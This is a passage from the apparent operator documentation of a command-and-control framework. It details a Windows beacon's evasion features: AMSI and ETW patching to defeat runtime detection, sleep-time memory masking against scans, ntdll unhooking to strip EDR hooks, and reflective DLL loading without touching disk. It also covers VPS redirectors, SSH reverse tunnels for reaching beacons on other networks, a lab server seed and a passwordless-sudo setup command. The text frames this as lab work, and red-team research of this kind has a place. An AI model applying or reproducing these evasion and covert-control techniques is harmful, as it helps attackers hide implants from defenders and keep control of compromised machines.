| Field | Required | Description |
|---|---|---|
action |
yes | activate (patch), deactivate (restore), or status (query) |
Lifecycle:
- AMSI and ETW are initialized at beacon startup if
cfg.AMSI/cfg.ETWare true (env varsDARK_ARTS_AMSI/DARK_ARTS_ETW, or baked via-ldflags). - Both are automatically restored (
Restore()) when the beacon exits — the original prologues are saved at first patch and written back on shutdown. - State transitions (
StatusEnabled,StatusDisabled) occur only after the patch/unpatch operation succeeds; on failure, the state reverts toStatusInitialized. - Disable is idempotent: calling
deactivateon an already-disabled control is a no-op;statusreturns the current state. - Tasks are processed sequentially (no concurrent access) — safe without locks.
Limitations:
- Windows AMD64 only (non-Windows stubs return "not implemented").
- Patches are per-process — they do not affect other processes.
- ETW patching only affects
EtwEventWriteuser-mode calls; kernel-originated ETW telemetry andNtTraceEventpaths are not affected. - Defender may still flag the beacon binary at load time via static signatures; the patching defeats runtime behavioral detection, not static analysis.
The beacon can mask its in-memory key material and payload buffers during every sleep cycle, so a memory scan or crash dump taken while the beacon is idle sees XOR-encrypted bytes at rest and no injected RX pages:
- Enabling — bake
-X main.cfgSleepMask=true(the lab package does this with-SleepMask) or setDARK_ARTS_SLEEP_MASK=trueat runtime. - What gets masked — the crypto session chains (
pkg/cryptouses fixed[keySize]bytearrays so the backing storage never moves; Go's GC does not scan[]bytecontents, so XOR-in-place is safe), plus any registered regions such as the inject stub's RX page (registered bypkg/injectviasleepmask.MaskSelfRegion). - How — a dedicated non-heap XOR-key page is made writable only for the duration of each mask/unmask cycle (via
NtProtectVirtualMemory, so it flips RW → NOACCESS when idle and the key page is unreadable while masked). Heap-allocated registrations are XORed in place; non-heap regions (inject RX page) are XORed and setPAGE_NOACCESSwhile masked. - Safety — a failed unmask (e.g. transient syscall failure) logs a warning and the beacon sleeps unmasked rather than crashing; every cycle is deliberately conservative (mask → sleep → unmask), so an interrupted cycle cannot leave the beacon unwakeable. Verified in the lab: shell/inject/kill round-trip cleanly across hundreds of mask cycles with the RX page registered, and the mask/unmask transitions are observable in the debug log.
On every process start (once, under sync.Once), pkg/evasion resolves its 12 syscall SSNs against a clean \KnownDlls\ntdll.dll mapping and then repairs the live ntdll stub prologues from that copy: each hash-listed export's first 16 bytes are compared, and any live stub that differs from disk is rewritten (page flipped RW via the already-resolved NtProtectVirtualMemory SSN, bytes copied from the pristine image, protection restored). This neutralizes in-memory detours (user-mode EDR hooks, hotpatch prologues) so the live ntdll surface is byte-identical to the on-disk file after init.
- The clean mapping is retained for the process lifetime (the lab environment rejects a second
\KnownDllsmapping per process, so remapping on demand is not an option there); it doubles as a pristine ntdll for the future reflective loader. - Diagnostics:
evasion.DiagUnhook()returns how many stubs were restored (0 = live image already matched disk — the expected steady state on a clean host), andTestUnhookStubsMatchCleanasserts the live/clean byte equality invariant for all 12 exports after init. - Note: UDRL repairs the live image's user-mode surface; it does not (and cannot) change what the environment's kernel-side syscall monitoring sees — the indirect-syscall design already sidesteps user-mode export hooks entirely, so this pass is defense-in-depth for anything in-process that might later invoke ntdll normally.
pkg/reflective maps a Windows x64 PE DLL from memory into the beacon's own process — no LoadLibrary, no disk write, no ntdll mapping calls, and no loader-lock involvement. The dll task type drives it end-to-end:
- Mapping — headers, sections (image alignment,
PAGE_EXECUTE_READfor code), plus the directory struct, export tables and relocation blocks are copied into a singleVirtualAllocregion with manual size math (noSizeOfImage-computed overshoot). All page protection flips go throughNtProtectVirtualMemory. - Relocations — only
IMAGE_REL_BASED_DIR64entries are processed (x64), applied against the preferred base, so the module is position-independent within the new allocation. - Imports — the IAT is resolved without loader APIs:
getDllHandleusessyscall.LoadDLL(LoadLibraryW on an already-loaded module returns its base), andgetProcedureAddresswalks the target DLL's export directory manually (parse names → ordinals → addresses, ordinal fallback). The ntdllLdr*functions and aGS:0x30PEB walk were tried and rejected: in this environment Ldr calls from Go stacks fault (misaligned stack / ntdll memmove) and the PEB read returns garbage, so the manual walk is the only reliable path. - Execution — after
DLL_PROCESS_ATTACH-style init the requested export (fn, defaultrun) is called via a tiny asm trampoline (call_amd64.s) that reserves the Win64 shadow space before the indirect call. The environment kills API calls executed from reflectively-mapped (unregistered) pages, sopkg/reflectivenever calls through the IAT — imports are resolved for the module's own use, and the import-variant test DLL proves resolution by returning the IAT slot value instead of calling it. - Sleep mask integration —
Options.Maskregisters the module's code pages withpkg/sleepmaskso the loaded DLL is encrypted at rest during beacon sleeps. - Test DLLs (
cmd/mkdll, hand-generated PEs, no C toolchain needed): the no-imports variant'srunreturnsbase+0x87(proves the DIR64 reloc against a random base); the imports variant returns thekernel32.SleepIAT slot value + 7.TestLoadNoImportsReloc,TestLoadImportsIAT,TestLoadNotPE,TestCallMissingExportandTestMaskedModuleRoundTripcover these in-process. - Lab results (battery 5) —
dllwithdll-noimports.bin:ret = base+0x87(0x18652E30087vs base0x18652E30000);dllwithdll-imports.bin:ret = 0x7FFBE197FD77(kernel32.Sleep+7, resolved via manual export walk);dllwithmask=trueloads and the beacon survives subsequent masked sleeps; inject-self and kill round-trip cleanly after the DLL loads.
docker compose -f lab/docker-compose.yml down # stop containers
docker compose -f lab/docker-compose.yml down -v # also wipe the MinIO volumeIf a compose project was renamed or recreated and stale networks remain, remove them explicitly (docker network rm <name>).
All binaries read DARK_ARTS_* variables. Common ones: DARK_ARTS_LOG_LEVEL (debug|info|warn|error), DARK_ARTS_INSECURE=true (plain HTTP), DARK_ARTS_TLS_CERT/DARK_ARTS_TLS_KEY (optional TLS).
| Binary | Variables |
|---|---|
server |
DARK_ARTS_LISTEN (default :9000), DARK_ARTS_API_KEY, DARK_ARTS_EDGE, DARK_ARTS_PUMP_INTERVAL, DARK_ARTS_SERVER_SEED, DARK_ARTS_STATE_DIR |
edge |
DARK_ARTS_LISTEN (:8443), DARK_ARTS_STORE (file|minio), DARK_ARTS_STORE_DIR, DARK_ARTS_COVER_HTML, DARK_ARTS_S3_ENDPOINT/DARK_ARTS_S3_ACCESS_KEY/DARK_ARTS_S3_SECRET_KEY/DARK_ARTS_S3_BUCKET/DARK_ARTS_S3_SECURE |
relay |
DARK_ARTS_RELAY_LISTEN (:7443), DARK_ARTS_UPSTREAM (comma-separated), DARK_ARTS_STORE_DIR, DARK_ARTS_RETRY |
beacon |
DARK_ARTS_SEED, DARK_ARTS_SERVER_PUB, DARK_ARTS_EDGE (comma-separated candidates, tried in order), DARK_ARTS_SID (override), DARK_ARTS_SLEEP, DARK_ARTS_JITTER, DARK_ARTS_TASK_TIMEOUT, DARK_ARTS_STATE_DIR, DARK_ARTS_UA, DARK_ARTS_MIMIC, DARK_ARTS_NOISE, DARK_ARTS_SLEEP_MASK, DARK_ARTS_AMSI, DARK_ARTS_ETW |
console |
DARK_ARTS_SERVER_URL (http://127.0.0.1:9000), DARK_ARTS_API_KEY, DARK_ARTS_OP_ID |
stager |
flags -blob, -key, -manifest-out, -dd-dir, -store-dir, -ref, -operator-pub (or DARK_ARTS_OPERATOR_PUB), -loader memory|child |
go vet ./...
go test -race ./... # CI runs this on Linux; local Windows runs plain `go test ./...`
gofmt -l . # must print nothingstager fetchrejects the manifest —-refis the manifest ref (printed asmanifest_refbypack), not the blob ref; and-operator-pubis derived from the operator seed via ed25519 (OperatorKeysFromSeed), not the X25519 agent identity derivation.digmissing on Windows — query through the lab container:docker exec dark-arts-dns dig @127.0.0.1 +short TXT _dd.darkarts.lab.- Container fails with "Address already in use" — a dynamic-IP container grabbed a static IP. Static IPs live at the top of each subnet (…200/…210); if you still collide,
docker compose downand up again, or remove stale networks first. - Beacon polls but tasks never arrive — verify the touched session id matches the beacon's logged
sidexactly (32 hex chars, not the 64-char SHA-256). Ifsessionscomes back empty or the pump logstask authentication failed, the server no longer has the session's ratchet: re-touchthe session (or rely on the persistedstate.json; a deleted state volume needs a fresh touch). Issuing a task to an unregistered session now fails fast withunknown session: register the session first. - Session registered, task delivered, but the beacon reports
crypto: authentication failed— the beacon'sDARK_ARTS_SERVER_PUBdoes not match the server's seed. Derive it exactly fromDARK_ARTS_SERVER_SEED(lab default:a4e09292b651c278b9772c569f5fa9bb13d906b46ab68c9df9dc2b4409f8a209). - Results intermittently missing — two
beacon.exeinstances running for the same identity (e.g. double-clicked twice) post results to the same blob keys, so every other result lands on a counter the server already consumed and is silently lost. The beacon now takes a single-instance lock (named mutex on Windows) and exits immediately if one is already running —beacon.logwill showinstance lock: another instance is already running. Kill all beacon.exe processes and redeploy once. - Result posted but never appears in
/api/v1/results— historical counter-collision failure mode, now eliminated: the pump and the beacon delete each blob from the edge store once it is consumed, so a beacon restarted without its state file (reusing counter 0) can no longer collide with a stale blob. If you still see a gap (e.g. from an old store before this fix), purge the sid'sserver/andbeacon/blobs from the store and restart the server. - Replacing an old beacon whose session has history — a fresh beacon starts its send counter at 0, but the server's beacon-side counter for that session is already ahead, so the
sincefilter strands the new beacon's first results. Reset the session server-side: stop the server, remove the sid fromsend/sessionsin the server'sstate.jsonvolume, start the server, and re-touchthe session — then register/deploy the new beacon. Beacon-side state is now per-session (state-<sid>.json) so a beacon cannot inherit a previous session'slast_task/send_posand skip freshly queued tasks. - Beacon works on the lab LAN but not on a foreign WiFi — the LAN relay IP is only reachable from the lab network; provision the VPS redirector (see Cross-network deployment).
redirector -Reverseverifies withhealthz returned 502— nginx is up but the SSH reverse tunnel isn't established yet (or failed). Check the tunnel window for errors; on the VPS confirm the listener withss -tlnp | grep 7443(a-Rforward that fails to bind printsremote port forwarding failed for listen port 7443).setup.shdies atapt-get updatewithPermission denied— the SSH user has no root. Give it passwordless sudo:sudo bash -c 'echo "<user> ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/<user> && chmod 440 /etc/sudoers.d/<user>'(from a session that already has sudo), then re-run theredirectorcommand.- Beacon keeps probing but no
edge switchedlog — with a single edge candidate the probe is skipped entirely (nothing to fall back to); theWarnlog only appears when at least two candidates are configured. Start-Process(PowerShell) children lack settings — environment variables set after spawning are not inherited; set them beforeStart-Processor usecmd /c.- Beacon cannot write its state file — it defaults to
./data/beaconrelative to the working directory; setDARK_ARTS_STATE_DIRto a writable path (e.g./tmp/beacon-state) in containers.
